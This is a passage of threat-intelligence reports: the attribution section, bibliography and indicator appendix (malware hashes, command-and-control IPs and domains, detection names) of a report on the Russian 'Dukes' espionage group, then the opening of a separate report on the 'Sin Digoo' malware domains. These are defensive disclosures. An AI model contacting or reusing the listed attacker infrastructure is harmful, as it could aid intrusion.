Based on our establishment of the groups primary mission, we believe the main benefactor (or benefactors) of their work is a government.
But are the Dukes a team or a department inside a government agency?
An external contractor?
A criminal gang selling to the highest bidder?
A group of tech-savvy patriots?
We dont know.
Based on the length of the Dukes activity, our estimate of the amount of resources invested in the operation and the fact that their activity only appears to be increasing, we believe the group to have significant and most critically, stable financial backing.
The Dukes have consistently operated large-scale campaigns against high-profile targets while concurrently engaging in smaller, more targeted campaigns with apparent coordination and no evidence of unintentional overlap or operational clashes.
We therefore believe the Dukes to be a single, large, well-coordinated organization with clear separation of responsibilities and targets.
Map of timezones in Russia  Eric Muller [23] Pink: MSK (UTC 3)  Orange: UTC 4 Over 7 years of Russian cyberespionage THE DUKES 27 The Kaspersky Labs analysis of the Duke malware authors working times is supported by our own analysis, as well as that performed by FireEye [22].
This assertion of time zone is also supported by timestamps found in many GeminiDuke samples, which similarly suggest the group work in the Moscow Standard Time timezone, as further detailed in the section on the technical analysis of GeminiDuke (page 17).
Finally, the known targets of the Dukes - Eastern European foreign ministries, western think tanks and governmental organizations, even Russian-speaking drug dealers - conform to publicly-known Russian foreign policy and security policy interests.
Even though the Dukes appear to have targeted governments all over the world, we are unaware of them ever targeting the Russian government.
While absence of evidence is not evidence of absence, it is an interesting detail to note.
Based on the presented evidence and analysis, we believe, with a high level of confidence, that the Duke toolsets are the product of a single, large, well-resourced organization (which we identify as the Dukes) that provides the Russian government with intelligence on foreign and security policy matters in exchange for support and protection.
28 THE DUKES  Over 7 years of Russian cyberespionage BIBLIOGRAPHY 1.
The White House Remarks By President Barack Obama In Prague As Delivered published 5 April 2009 [Online].
Available: https://www.whitehouse.gov/the-press-office/remarks-president-barack-obama-prague-delivered 2.
Wikipedia KavKaz Center [Online].
Available: https://en.wikipedia.org/wiki/Kavkaz_Center 3.
BBC: Nato exercises a dangerous move published 17 April 2009 [Online].
Available:http://news.bbc.co.uk/2/hi/ europe/8004399.stm 4.
Tavis Ormandy Seclists.org Microsoft Windows NT GP Trap Handler Allows Users to Switch Kernel Stack published 19 January 2010 [Online].
Available: http://seclists.org/fulldisclosure/2010/Jan/341 5.
Timo Hirvonen F-Secure Labs CosmicDuke: Cosmu with a Twist of MiniDuke published 2 July 2014 [Online].
Available: https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf 6.
Yichong Lin, James T. Bennett, Thoufique Haq FireEye Threat Research blog In Turn, Its PDF Time published 12 February 2013 [Online].
Available: https://www.fireeye.com/blog/threat-research/2013/02/in-turn-its-pdf- time.html 7.
Costin Raiu, Igor Soumenkov, Kurt Baumgartner, Vitaly Kamluk Kaspersky Lab The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor published 27 February 2013 [Online].
Available: http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/themysteryofthepdf0- dayassemblermicrobackdoor.pdf 8.
Laboratory of Cryptography and System Security (CrySyS Lab) Miniduke: Indicators published 27 February 2013 [Online].
Available: http://www.crysys.hu/miniduke/miniduke_indicators_public.pdf 9.
Mikko Hypponen F-Secure Weblog Targeted Attacks and Ukraine published 1 April 2014 [Online].
Available: https://www.f-secure.com/weblog/archives/00002688.html 10.
Feike Hacquebord Trend Micro Pawn Storms Domestic Spying Campaign Revealed Ukraine and US Top Global Targets published 18 August 2015 [Online].
Available: http://blog.trendmicro.com/trendlabs-security- intelligence/pawn-storms-domestic-spying-campaign-revealed-ukraine-and-us-top-global-targets/ 11.
GReAT Securelist Miniduke is back: Nemesis Gemina and the Botgen Studio published 3 July 2014 [Online].
Available: https://securelist.com/blog/incidents/64107/miniduke-is-back-nemesis-gemina-and-the-botgen- studio/ 12.
Boost C Libraries Version 1.54.0 published 1 July 2013 [Online].
Available: http://www.boost.org/users/ history/version_1_54_0.html 13.
Artturi Lehtio F-Secure Weblog OnionDuke: APT Attacks Via the Tor Network published 14 November 2014 [Online].
Available: https://www.f-secure.com/weblog/archives/00002764.html 14.
Artturi Lehtio F-Secure Labs CozyDuke published 22 April 2015 [Online].
Available: https://www.f-secure.com/ documents/996508/ 1030745/CozyDuke 15.
Symantec Security Response Forkmeiamfamous: Seaduke, latest weapon in the Duke armory published 13 July 2015 [Online].
Available: http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest- weapon-duke-armory 16.
Brandon Levene, Robert Falcone and Richard Wartell Palo Alto Networks Tracking MiniDionis: CozyCars New Ride Is Related to Seaduke published 14 July 2015 [Online].
Available: http://researchcenter.paloaltonetworks.
com/2015/07/tracking-minidionis-cozycars-new-ride-is-related-to-seaduke/ 17.
Segey Lozhkin Securelist Minidionis  one more APT with a usage of cloud drives published 16 July 2015 [Online].
Available: https://securelist.com/blog/research/71443/minidionis-one-more-apt-with-a-usage-of-cloud- drives/ 18.
malwareprevenity Malware w 5 rocznic katastrofy samolotu published 22 April 2015 [Online].
Available: http://malware.prevenity.com/2015/04/malware-w-5-rocznice-katastrofy-samolotu.html (in Polish) 19.
malwareprevenity Wykradanie danych z instytucji publicznych published 11 August 2015 [Online].
Available: http://malware.prevenity.com/2015/08/wykradanie-danych-z-instytucji.html (in Polish) 20.
Wikipedia Moscow Time [Online].
Available: https://en.wikipedia.org/wiki/Moscow_Time 21.
Exploit Database CVE: 2010-4398 published 24 November 2014 [Online].
Available: https://www.exploit-db.
com/exploits/15609/ 22.
FireEye HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group published July 2015 [Online].
Available: https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf 23.
tz_world, an efele.net/tz map Eric Muller tz_russia, an efele.net/tz map: A shapefile of the TZ timezones of Russia published 2 May 2013 [Online].
Available: http://efele.net/maps/tz/russia/ https://www.whitehouse.gov/the-press-office/remarks-president-barack-obama-prague-delivered https://en.wikipedia.org/wiki/Kavkaz_Center http://news.bbc.co.uk/2/hi/europe/8004399.stm http://news.bbc.co.uk/2/hi/europe/8004399.stm http://seclists.org/fulldisclosure/2010/Jan/341 https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf https://www.fireeye.com/blog/threat-research/2013/02/in-turn-its-pdf-time.html https://www.fireeye.com/blog/threat-research/2013/02/in-turn-its-pdf-time.html http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/themysteryofthepdf0-dayassemblermicrobackdoor.pdf http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/themysteryofthepdf0-dayassemblermicrobackdoor.pdf http://www.crysys.hu/miniduke/miniduke_indicators_public.pdf https://www.f-secure.com/weblog/archives/00002688.html http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storms-domestic-spying-campaign-revealed-ukraine-and-us-top-global-targets/ http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storms-domestic-spying-campaign-revealed-ukraine-and-us-top-global-targets/ https://securelist.com/blog/incidents/64107/miniduke-is-back-nemesis-gemina-and-the-botgen-studio/ https://securelist.com/blog/incidents/64107/miniduke-is-back-nemesis-gemina-and-the-botgen-studio/ http://www.boost.org/users/history/version_1_54_0.html http://www.boost.org/users/history/version_1_54_0.html https://www.f-secure.com/weblog/archives/00002764.html https://www.f-secure.com/documents/996508/ 1030745/CozyDuke https://www.f-secure.com/documents/996508/ 1030745/CozyDuke http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory http://researchcenter.paloaltonetworks.com/2015/07/tracking-minidionis-cozycars-new-ride-is-related-to-seaduke/ http://researchcenter.paloaltonetworks.com/2015/07/tracking-minidionis-cozycars-new-ride-is-related-to-seaduke/ https://securelist.com/blog/research/71443/minidionis-one-more-apt-with-a-usage-of-cloud-drives/ https://securelist.com/blog/research/71443/minidionis-one-more-apt-with-a-usage-of-cloud-drives/ http://malware.prevenity.com/2015/04/malware-w-5-rocznice-katastrofy-samolotu.html http://malware.prevenity.com/2015/08/wykradanie-danych-z-instytucji.html https://en.wikipedia.org/wiki/Moscow_Time https://www.exploit-db.com/exploits/15609/ https://www.exploit-db.com/exploits/15609/ https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf http://efele.net/maps/tz/russia/ Data listings APPENDIX I 29 APPENDIX I: DATA LISTINGS PinchDuke Campaign identifiers                                   alkavkaz.com20081105 cihaderi.net20081112 20090111 diploturk_20090305_faruk 20090310I mofa.go.ug_20090317 plcz_20090417 20090421_NN1 20090427_n_8 20090513_Cr natoinfo_ge 20090608_G mod_ge_2009_07_03 20090909_Bel mofa-go-ug-2009-09-09 20091008_Af nat_20092311 turtsia_20091128 mfagovtr_20091204 modge_20100126 GEN20100215 par_ge_20100225 pr_ge_20100225 tika_20100326 harpa_20100329 sanat_20100412 mfakg_20100413 leskz_20100414 leskg_20100422 az_emb_uz_20100518 sat_20100524 emb_azerb_uz_20100609 sat_2010_07_26 kaz_2010_07_30 Malware SHA1 hashes                          07b4e44b6b3e1c3904ded7d6c9dcf7fa609467ef 0cf68d706c38ab112e0b667498c24626aec730f6 155004c1cc831a7f39caf2bec04f1841b61af802 17df96e423320ddfb7664413bf562a6b1aaef9d4 1c124e1523fcbef25c4f3074b1f8088bcad2230f 285ac0fb341e57c87964282f621b3d1f018ab7ea 2f156a9f861cda356c4ddf332d71937ac9962c68 333f5acc35ea0206f7d1deadcb94ca6ec9564d02 34af1909ec77d2c3878724234b9b1e3141c91409 383fc3c218b9fb0d4224d69af66caf09869b4c73 45ee9aa9f8ef3a9cc0b4b250766e7a9368a30934 52164782fc9f8a2a6c4be2b9cd000e4a60a860ed 7371eecafbaeefd0dc5f4dd5737f745586133f59 797b3101b9352be812b8d411179ae765e14065a6 a10f2dc5dbdbf1a11ebe4c3e59a4c0e5d14bcc8a a3dfb5643c824ae0c3ba2b7f3efb266bfbf46b02 ad2cac618ab9d9d4a16a2db32410607bbf98ce8f bf48d8126e84185e7825b69951293271031cbad4 c1e229219e84203ba9e26f2917bd268656ff4716 c59114c79e3d3ddd77d6919b88bc99d40205e645 c8ae844baea44ec1db172ae9b257dbac04dcbbe7 d5905327f213a69f314e2503c68ef5b51c2d381e e7720ab728cb18ea329c7dd7c9b7408e266c986b fdc65f38f458ceddf5a5e3f4b44df7337a1fb415 fdfd9abbaafe0bee747c0f1d7963d903174359df Exploit file SHA1 hashes   50f8ea7eb685656c02a83420b3910d14ac588c8b 9fae684a130c052ad2b55ebaf7f6e513c0e62abe 30 APPENDIX I  Data listings GeminiDuke Malware SHA1 hashes      3ed561786ca07c8e9862f4f682c1828a039d6dd4 6b0b8ad038c7ae2efbad066b8ba22de859b81f98 a3653091334892cf97a55715c7555c8881230bc4 b14b9241197c667f00f86d096d71c47d6fa9aca6 c011552d61ac5a87d95e43b90f2bf13077856def  CosmicDuke Malware SHA1 hashes                                              01e5080b832c6e4fcb7b9d06caffe03dab8d95da 02f55947402689ec755356ab6b0345a592446da7 03c5690728b7dffb2f4ab947fe390264751428aa 0653a8f06b140f4fac44acb3be723d7bb2602558 0bc8485ce6c24bb888e2329d479c9b7303bb98b4 0c8db6542172de98fa16c9bacfef9ed4099fd872 0d8f41fe09dbd75ab953f9e64a6cdbbbc198bf2b 0e5f55676e01d8e41d77cdc43489da8381b68086 0ff7ce34841c03c876b141c1f46d0ff2519889cc 11b5cfb37efb45d2c721cbf20cab7c1f5c1aa44b 151362502d569b16453e84a2f5d277d8e4e878c2 174373ab44cf6e7355f9dbb8469453519cb61a44 18d983ba09da695ce704ab8093296366b543996a 1a31245e943b131d81375d70b489d8e4bf3d6dce 1ce049522c4df595a1c4c9e9ca24be72dc5c6b28 1df78a1dc0aa3382fcc6fac172b70aafd0ed8d3d 1e5c6d3f64295cb36d364f7fa183177a3f5e6b7e 2345cd5c112e55ba631dac539c8efab850c536b2 2b1e7d54723cf9ee2fd133b8f17fa99470d7a51a 322e042cf1cb43a8072c4a4cbf6e37004a88d6f7 332aac7bdb0f697fd96e35c31c54d15e548061f4 365f61c7886ca82bfdf8ee19ce0f92c4f7d0901e 3980f0e3fe80b2e7378325ab64ecbe725ae5eca9 3f4a5bf72a15b7a8638655b24eb3359e229b9aea 42dbfbedd813e6dbea1398323f085a88fa014293 4a9875f646c5410f8317191ef2a91f934ce76f57 4aaac99607013b21863728b9453e4ffee67b902e 4e3c9d7eb8302739e6931a3b5b605efe8f211e51 4fbc518df60df395ea27224cb85c4da2ff327e98 4fd46c30fb1b6f5431c12a38430d684ed1ff5a75 524aaf596dc12b1bb479cd69c620914fd4c3f9c9 541816260c71535cfebc743b9e2770a3a601acdf 558f1d400be521f8286b6a51f56d362d64278132 55f83ff166ab8978d6ce38e80fde858cf29e660b 580eca9e36dcd1a2deb9075bcae90afee46aace2 5a199a75411047903b7ba7851bf705ec545f6da9 5c5ec0b5112a74a95edc23ef093792eb3698320e 63aedcd38fe947404dda4fbaddb1da539d632417 6483ed51bd244c7b2cf97db62602b19c27fa3059 658db78c0ce62e08e86b51988a222b5fb5fbb913 6a43ada6a3741892b56b0ef38cdf48df1ace236d 6b7a4ccd5a411c03e3f1e86f86b273965991eb85 6db1151eeb4339fc72d6d094e2d6c2572de89470 7631f1db92e61504596790057ce674ee90570755 764add69922342b8c4200d64652fbee1376adf1c                                      7803f160af428bcfb4b9ea2aba07886f232cde4e 78d1c1e11ebae22849bccb3eb154ec986d992364 7ad1bef0ba61dbed98d76d4207676d08c893fc13 807c3db7385972a78b6d217a379dab67e68a3cf5 88b7ead7c0bf8b3d8a54b4a9c8871f44d1577ce7 8a2227cafa5713297313844344d6b6d9e0885093 8aa9f5d426428ec360229f4cb9f722388f0e535c 8ab7f806fa18dd9a9c2dc43db0ad3ee79060b6e8 8f4138e9588ef329b5cf5bc945dee4ad9fec1dff 9090de286ce9126e8e9c1c3a175a70ab4656ca09 91fd13a6b44e99f7235697ab5fe520d540279741 926046f0c727358d1a6fbdd6ff3e28bc67d5e2f6 9700c8a41a929449cfba6567a648e9c5e4a14e70 97c62e04b0ce401bd338224cdd58f5943f47c8de a2ed0eaaeadaa90d25f8b1da23033593bb76598e a421e0758f1007527fec4d72fa2668da340554c9 a74eceea45207a6b46f461d436b73314b2065756 a7819c06746ae8d1e5d5111b1ca711db0c8d923e a81b58b2171c6a728039dc493faaf2cab7d146a5 b2a951c5b2613abdb9174678f43a579592b0abc9 b54b3c67f1827dab4cc2b3de94ff0af4e5db3d4c b579845c223331fea9dfd674517fa4633082970e bbe24aa5e554002f8fd092fc5af7747931307a15 c2b5aff3435a7241637f288fedef722541c4dad8 c637a9c3fb08879e0f54230bd8dca81deb6e1bcf cbca642acdb9f6df1b3efef0af8e675e32bd71d1 ccb29875222527af4e58b9dd8994c3c7ef617fd8 cd7116fc6a5fa170690590e161c7589d502bd6a7 d303a6ddd63ce993a8432f4daab5132732748843 e60d36efd6b307bef4f18e31e7932a711106cd44 e841ca216ce4ee9e967ffff9b059d31ccbf126bd ecd2feb0afd5614d7575598c63d9b0146a67ecaa ed14da9b9075bd3281967033c90886fd7d4f14e5 ed328e83cda3cdf75ff68372d69bcbacfe2c9c5e f621ec1b363e13dd60474fcfab374b8570ede4de fbf290f6adad79ae9628ec6d5703e5ffb86cf8f1 fecdba1d903a51499a3953b4df1d850fbd5438bd Exploit file SHA1 hashes          1e770f2a17664e7d7687c53860b1c0dc0da7157e 353540c6619f2bba2351babad736599811d3392e 412d488e88deef81225d15959f48479fc8d387b3 5295b09592d5a651ca3f748f0e6401bd48fe7bda 65681390d203871e9c21c68075dbf38944e782e8 74bc93107b1bbae2d98fca6d819c2f0bbe8c9f8a 8949c1d82dda5c2ead0a73b532c4b2e1fbb58a0e c671786abd87d214a28d136b6bafd4e33ee66951 f1f1ace3906080cef52ca4948185b665d1d7b13e Data listings APPENDIX I 31 MiniDuke Malware SHA1 hashes                                                         00852745cb40730dc333124549a768b471dff4bc 03661a5e2352a797233c23883b25bb652f03f205 045867051a6052d1d910abfcb24a7674bcc046ca 0d78d1690d2db2ee322ca11b82d79c758a901ebc 0e263d80c46d5a538115f71e077a6175168abc5c 103c37f6276059a5ff47117b7f638013ccffe407 118114446847ead7a2fe87ecb4943fdbdd2bbd1e 15c75472f160f082f6905d57a98de94c026e2c56 1ba5bcd62abcbff517a4adb2609f721dd7f609df 1e6b9414fce4277207aab2aa12e4f0842a23f9c1 223c7eb7b9dde08ee028bba6552409ee144db54a 28a43eac3be1b96c68a1e7463ae91367434a2ac4 296fd4c5b4bf8ea288f45b4801512d7dec7c497b 2a13ae3806de8e2c7adba6465c4b2a7bb347f0f5 2ceae0f5f3efe366ebded0a413e5ea264fbf2a33 2d74a4efaecd0d23afcad02118e00c08e17996ed 30b377e7dc2418607d8cf5d01ae1f925eab2f037 31ab6830f4e39c2c520ae55d4c4bffe0b347c947 36b969c1b3c46953077e4aabb75be8cc6aa6a327 416d1035168b99cc8ba7227d4c7c3c6bc1ce169a 43fa0d5a30b4cd72bb7e156c00c1611bb4f4bd0a 493d0660c9cf738be08209bfd56351d4cf075877 4b4841ca3f05879ca0dab0659b07fc93a780f9f1 4ec769c15a9e318d41fd4a1997ec13c029976fc2 53140342b8fe2dd7661fce0d0e88d909f55099db 5acaea49540635670036dc626503431b5a783b56 5b2c4da743798bde4158848a8a44094703e842cb 634a1649995309b9c7d163af627f7e39f42d5968 683104d28bd5c52c53d2e6c710a7bd19676c28b8 694fa03160d50865dce0c35227dc97ffa1acfa48 73366c1eb26b92886531586728be4975d56f7ca5 827de388e0feabd92fe7bd433138aa35142bd01a 909d369c42125e84e0650f7e1183abe740486f58 9796d22994ff4b4e838079d2e5613e7ac425dd1d a32817e9ff07bc69974221d9b7a9b980fa80b677 a4e39298866b72e5399d5177f717c46861d8d3df a6c18fcbe6b25c370e1305d523b5de662172875b a9e529c7b04a99019dd31c3c0d7f576e1bbd0970 ad9734b05973a0a0f1d34a32cd1936e66898c034 b27f6174173e71dc154413a525baddf3d6dea1fd b8b116d11909a05428b7cb6dcce06113f4cc9e58 c17ad20e3790ba674e3fe6f01b9c10270bf0f0e4 c39d0b12bb1c25cf46a5ae6b197a59f8ea90caa0 c6d3dac500de2f46e56611c13c589e037e4ca5e0 cb3a83fc24c7b6b0b9d438fbf053276cceaacd2e cc3df7de75db8be4a0a30ede21f226122d2dfe87 cd50170a70b9cc767aa4b21a150c136cb25fbd44 cdcfac3e9d60aae54586b30fa5b99f180839deed d22d80da6f042c4da3392a69c713ee4d64be8bc8 d81b0705d26390eb82188c03644786dd6f1a2a9e de8e9def2553f4d211cc0b34a3972d9814f156aa e4add0b118113b2627143c7ef1d5b1327de395f1 e95e2c166be39a4d9cd671531b376b1a8ceb4a55 edf74413a6e2763147184b5e1b8732537a854365 efcb9be7bf162980187237bcb50f4da2d55430c2 f62600984c5086f2da3d70bc1f5042cf464f928d CozyDuke Malware SHA1 hashes                                          01d3973e1bb46e2b75034736991c567862a11263 04aefbf1527536159d72d20dea907cbd080793e3 0e020c03fffabc6d20eca67f559c46b4939bb4f4 1e5f6a5624a9e5472d547b8aa54c6d146813f91d 207be5648c0a2e48be98dc4dc1d5d16944189219 23e20c523b9970686d913360d438c88e6067c157 25b6c73124f11f70474f2687ad1de407343ac025 32b0c8c46f8baaba0159967c5602f58dd73ebde9 446daabb7ac2b9f11dc1267fbd192628cc2bac19 482d1624f9450ca1c99926ceec2606260e7ce544 49fb759d133eeaab3fcc78cec64418e44ed649ab 5150174a4d5e5bb0bccc568e82dbb86406487510 543783df44459a3878ad00ecae47ff077f5efd7b 6b0721a9ced806076f84e828d9c65504a77d106c 6e00b86a2480abc6dbd971c0bf6495d81ed1b629 78e9960cc5819583fb98fb619b33bff7768ee861 7e9eb570ef07b793828c28ca3f84177e1ab76e14 8099a40b9ef478ee50c466eb65fe71b247fcf014 87668d14910c1e1bb8bbea0c6363f76e664dcd09 8b357ff017df3ed882b278d0dbbdf129235d123d 8c3ed0bbdc77aec299c77f666c21659840f5ce23 93d53be2c3e7961bc01e0bfa5065a2390305268c 93ee1c714fad9cc1bf2cba19f3de9d1e83c665e2 9b56155b82f14000f0ec027f29ff20e6ae5205c2 b65aa8590a1bac52a85dbd1ea091fc586f6ab00a bdd2bae83c3bab9ba0c199492fe57e70c6425dd3 bf265227f9a8e22ea1c0035ac4d2449ceed43e2b bf9d3a45273608caf90084c1157de2074322a230 c3d8a548fa0525e1e55aa592e14303fc6964d28d c6472898e9085e563cd56baeb6b6e21928c5486d ccf83cd713e0f078697f9e842a06d624f8b9757e dea73f04e52917dc71cc4e9d7592b6317e09a054 e0779ac6e5cc76e91fca71efeade2a5d7f099c80 e76da232ec020d133530fdd52ffcc38b7c1d7662 e78870f3807a89684085d605dcd57a06e7327125 e99a03ebe3462d2399f1b819f48384f6714dcba1 ea0cfe60a7b7168c42c0e86e15feb5b0c9674029 eb851adfada7b40fc4f6c0ae348694500f878493 f2ffc4e1d5faec0b7c03a233524bb78e44f0e50b f33c980d4b6aaab1dc401226ab452ce840ad4f40 f7d47c38eca7ec68aa478c06b1ba983d9bf02e15 32 APPENDIX I  Data listings OnionDuke Malware SHA1 hashes                             073faad9c18dbe0e0285b2747eae0c629e56830c 145c5081037fad98fa72aa4d6dc6c193fdb1c127 16b632b4076a458b6e2087d64a42764d86b5b021 1e200fbb02dc4a51ea3ede0b6d1ff9004f07fe73 22bae6be13561cec758d25fa7adac89e67a1f33a 25e0af331b8e9fed64dc0df71a2687be348100e8 3bf6b0d49b8e594f8b59eec98942e1380e16dd22 42429d0c0cade08cfe4f72dcd77892b883e8a4bc 5ccff14ce7c1732fadfe74af95a912093007357f 61283ef203f4286f1d366a57e077b0a581be1659 6b3b42f584b6dc1e0a7b0e0c389f1fbe040968aa 6b631396013ddfd8c946772d3cd4919495298d40 7b3652f8d51bf74174e1e5364dbbf901a2ebcba1 7d17917cb8bc00b022a86bb7bab59e28c3453126 7d871a2d467474178893cd017e4e3e04e589c9a0 7efd300efed0a42c7d1f568e309c45b2b641f5c2 91cb047f28a15b558a9a4dff26df642b9001f8d7 9a277a63e41d32d9af3eddea1710056be0d42347 a75995f94854dea8799650a2f4a97980b71199d2 b3873d2c969d224b0fd17b5f886ea253ac1bfb5b b491c14d8cfb48636f6095b7b16555e9a575d57f c1ec762878a0eed8ebf47e122e87c79a5e3f7b44 cce5b3a2965c500de8fa75e1429b8be5aa744e14 d433f281cf56015941a1c2cb87066ca62ea1db37 e09f283ade693ff89864f6ec9c2354091fbd186e e519198de4cc8bcb0644aa1ab6552b1d15c99a0e f2b4b1605360d7f4e0c47932e555b36707f287be f3dcbc016393497f681e12628ad9411c27e57d48 SeaDuke Malware SHA1 hashes    3459d9c27c31c0e8b2ea5b21fdc200e784c7edf4 aa7cf4f1269fa7bca784a18e5cecab962b901cc2 bb71254fbd41855e8e70f05231ce77fee6f00388  HammerDuke Malware SHA1 hashes 42e6da9a08802b5ce5d1f754d4567665637b47bc CloudDuke Malware SHA1 hashes                        04299c0b549d4a46154e0a754dda2bc9e43dff76 10b31a17449705be20890ddd8ad97a2feb093674 2e27c59f0cf0dbf81466cc63d87d421b33843e87 2f53bfcd2016d506674d0a05852318f9e8188ee1 317bde14307d8777d613280546f47dd0ce54f95b 44403a3e51e337c1372b0becdab74313125452c7 47f26990d063c947debbde0e10bd267fb0f32719 4800d67ea326e6d037198abd3d95f4ed59449313 52d44e936388b77a0afdb21b099cf83ed6cbaa6f 6a3c2ad9919ad09ef6cdffc80940286814a0aa2c 7b8851f98f765038f275489c69a485e1bed4f82d 84ba6b6a0a3999c0932f35298948f149ee05bc02 910dfe45905b63c12c6f93193f5dc08f5b012bc3 9f5b46ee0591d3f942ccaa9c950a8bff94aa7a0f bfe26837da22f21451f0416aa9d241f98ff1c0f8 c16529dbc2987be3ac628b9b413106e5749999ed cc15924d37e36060faa405e5fa8f6ca15a3cace2 d7f7aef824265136ad077ae4f874d265ae45a6b0 dea6e89e36cf5a4a216e324983cc0b8f6c58eaa8 ed0cf362c0a9de96ce49c841aa55997b4777b326 f54f4e46f5f933a96650ca5123a4c41e115a9f61 f97c5e8d018207b1d546501fe2036adfbf774cfd fe33b9f95db53c0096ae9fb9672f9c7c32d22acf   Data listings APPENDIX I 33 Related IP addresses                                128.199.138.233 151.236.23.31 173.236.70.212 176.74.216.14 178.21.172.157 178.63.149.142 184.154.184.83 188.116.32.164 188.241.115.41 188.40.13.99 195.43.94.104 199.231.188.109 212.76.128.149 46.246.120.178 46.246.120.178 5.45.66.134 50.7.192.146 64.18.143.66 66.29.115.55 69.59.28.57 82.146.47.163 82.146.51.22 83.149.74.73 85.17.143.149 87.118.106.55 87.255.77.36 88.150.208.207 91.221.66.242 91.224.141.235 94.242.199.88 96.9.182.37 Related domain names                   airtravelabroad.com beijingnewsblog.net deervalleyassociation.com greencastleadvantage.com grouptumbler.com juliet.usexy.cc leveldelta.com nasdaqblog.net natureinhome.com nestedmail.com nostressjob.com nytunion.com oilnewsblog.com overpict.com serials.hacked.jp sixsquare.net store.extremesportsevents.net ustradecomp.com Note: the listed IP addresses and domain names are provided for research purposes.
While all of them have been associated with the Dukes at some point in time, they may or may not be currently in use by the Dukes.
F-Secure detection names                    Backdoor:W32/MiniDuke.
A Trojan-Dropper:W32/MiniDuke.
B Exploit:W32/MiniDuke.
C Trojan-Dropper:W32/MiniDuke.
D Backdoor:W32/MiniDuke.
E Backdoor:W32/MiniDuke.
F Backdoor:W32/MiniDuke.
F Backdoor:W32/MiniDuke.
H Backdoor:W32/MiniDuke.
I Backdoor:W32/MiniDuke.
J Trojan-Dropper:W32/CosmicDuke.
A Trojan-PSW:W32/CosmicDuke.
B Trojan:W32/CosmicDuke.
C Exploit:W32/CosmicDuke.
D Exploit:SWF/CosmicDuke.
E Trojan-PSW:W32/CosmicDuke.
F Trojan-Dropper:W32/CosmicDuke.
G Trojan:W32/CosmicDuke.
H Trojan:W32/CosmicDuke.
I                  Backdoor:W32/OnionDuke.
A Trojan-Dropper:W32/OnionDuke.
A Backdoor:W32/OnionDuke.
B Trojan:W32/OnionDuke.
C Trojan:W32/OnionDuke.
D Trojan-PSW:W32/OnionDuke.
E Trojan:W32/OnionDuke.
F Trojan:W32/OnionDuke.
G Trojan:W32/CozyDuke.
A Trojan:W32/CozyDuke.
B Trojan-Dropper:W32/CozyDuke.
C Trojan:W32/CozyDuke.
D Trojan:W64/CozyDuke.
E Trojan-Downloader:W32/CloudDuke.
A Trojan:W32/CloudDuke.
B Trojan:W64/CloudDuke.
B Backdoor:W32/SeaDuke.
A Note: F-Secure also detects various Duke malware components with other detections not specific to the Dukes.
Executive summary The story of the Dukes Etymology: a note on names 2008: Chechnya 2009: First known campaigns against the West 2010: The emergence of CosmicDuke in the Caucasus 2011: John Kasai of Klagenfurt, Austria 2011: Continuing expansion of the Dukes arsenal 2012: Hiding in the shadows 2013: MiniDuke flies too close to the sun 2013: The curious case of OnionDuke 2013: The Dukes and Ukraine 2013: CosmicDukes war on drugs 2014: MiniDukes rise from the ashes 2014: CosmicDukes moment of fame and the scramble that ensued 2014: CozyDuke and monkey videos 2014: OnionDuke gets caught using a malicious Tor node 2015: The Dukes up the ante 2015: CloudDuke 2015: Continuing surgical strikes with CosmicDuke Tools and techniques of the Dukes PinchDuke GeminiDuke CosmicDuke MiniDuke CozyDuke OnionDuke SeaDuke HammerDuke CloudDuke Infection vectors Decoys Exploitation of vulnerabilities Attribution and state-sponsorship Bibliography Appendix I: Data listings
The Sin Digoo Affair URL:http://www.secureworks.com/research/threats/sindigoo/ Date: 29 February 2012 Author: Joe Stewart, Director of Malware Research, Dell SecureWorks Counter Threat Unit Research Team We cannot enter into informed alliances until we are acquainted with the designs of our neighbors and the plans of our adver- saries.
-
Sun Tzu, The Art of War Introduction The story of the Sin Digoo affair begins with a set of Internet domain registrations dating back to 2004.
Between 2004 and 2011, a person using the email address jeno_1980hotmail.com registered several domains using the names Tawnya Grilth and Eric Charles.
Curiously, all of the Tawnya Grilth domains showed the registrants physical address to be a post office box in the fictional/misspelled town of Sin Digoo, California.
Figure 1.
Characteristics of domains registered by jeno_1980hotmail.com.
In 2006 and 2007, jeno_1980hotmail.com registered a number of domains under the Tawnya Grilth alias that have appeared repeatedly on reports published by various automated malware analysis systems and antivirus websites.
The Dell SecureWorks CTUSM research team ex- amined malware samples using these domains and concluded that these domains were involved in a larger pattern of malware-based espi- onage, sometimes referred to as Advanced Persistent Threat (APT) activity.
Espionage malware There are two primary malware families involved with the Sin Digoo domains.
One is known as Enfal, which is short for EtenFalcon, a string found inside early samples.
The involvement of actors using this malware for espionage was first detailed in 2010 in a joint report by the Information Warfare Monitor and the Shadowserver Foundation.
The report, titled Shadows in the Cloud: Investigating Cyber Espionage 2.0, was a continuation of research from an earlier report titled Tracking GhostNet: Investigating a Cyber Espionage Network.
A later report by antivirus firm Trend Micro titled The LURID Downloader further details a campaign of espionage by this malware against targets world- wide.
Figure 2.
Sin Digoo connection to Enfal malware.
A second family of malware connecting to the Tawnya Grilth domains is less well-known, although a couple of antivirus companies have used the names RegSubsDat, RegSubDat or Kirpich to refer to it.
A recent variant was described by the information security firm CyberE- SI in a 2011 blog post titled India-United States Naval Cooperation.doc Analysis.
Details regarding the earlier variant used in the Sin Digoo activity was first analyzed in a blog posting by Don C. Weber titled Malware Characteristics Report - Trojan.
RegSubsDat.
A on his Security Ripcord blog.
http://www.secureworks.com/research/threats/sindigoo/ http://www.nartv.org/mirror/shadows-in-the-cloud.pdf http://www.nartv.org/mirror/ghostnet.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_dissecting-lurid-apt.pdf http://www.cutawaysecurity.com/blog/archives/593 Figure 3.
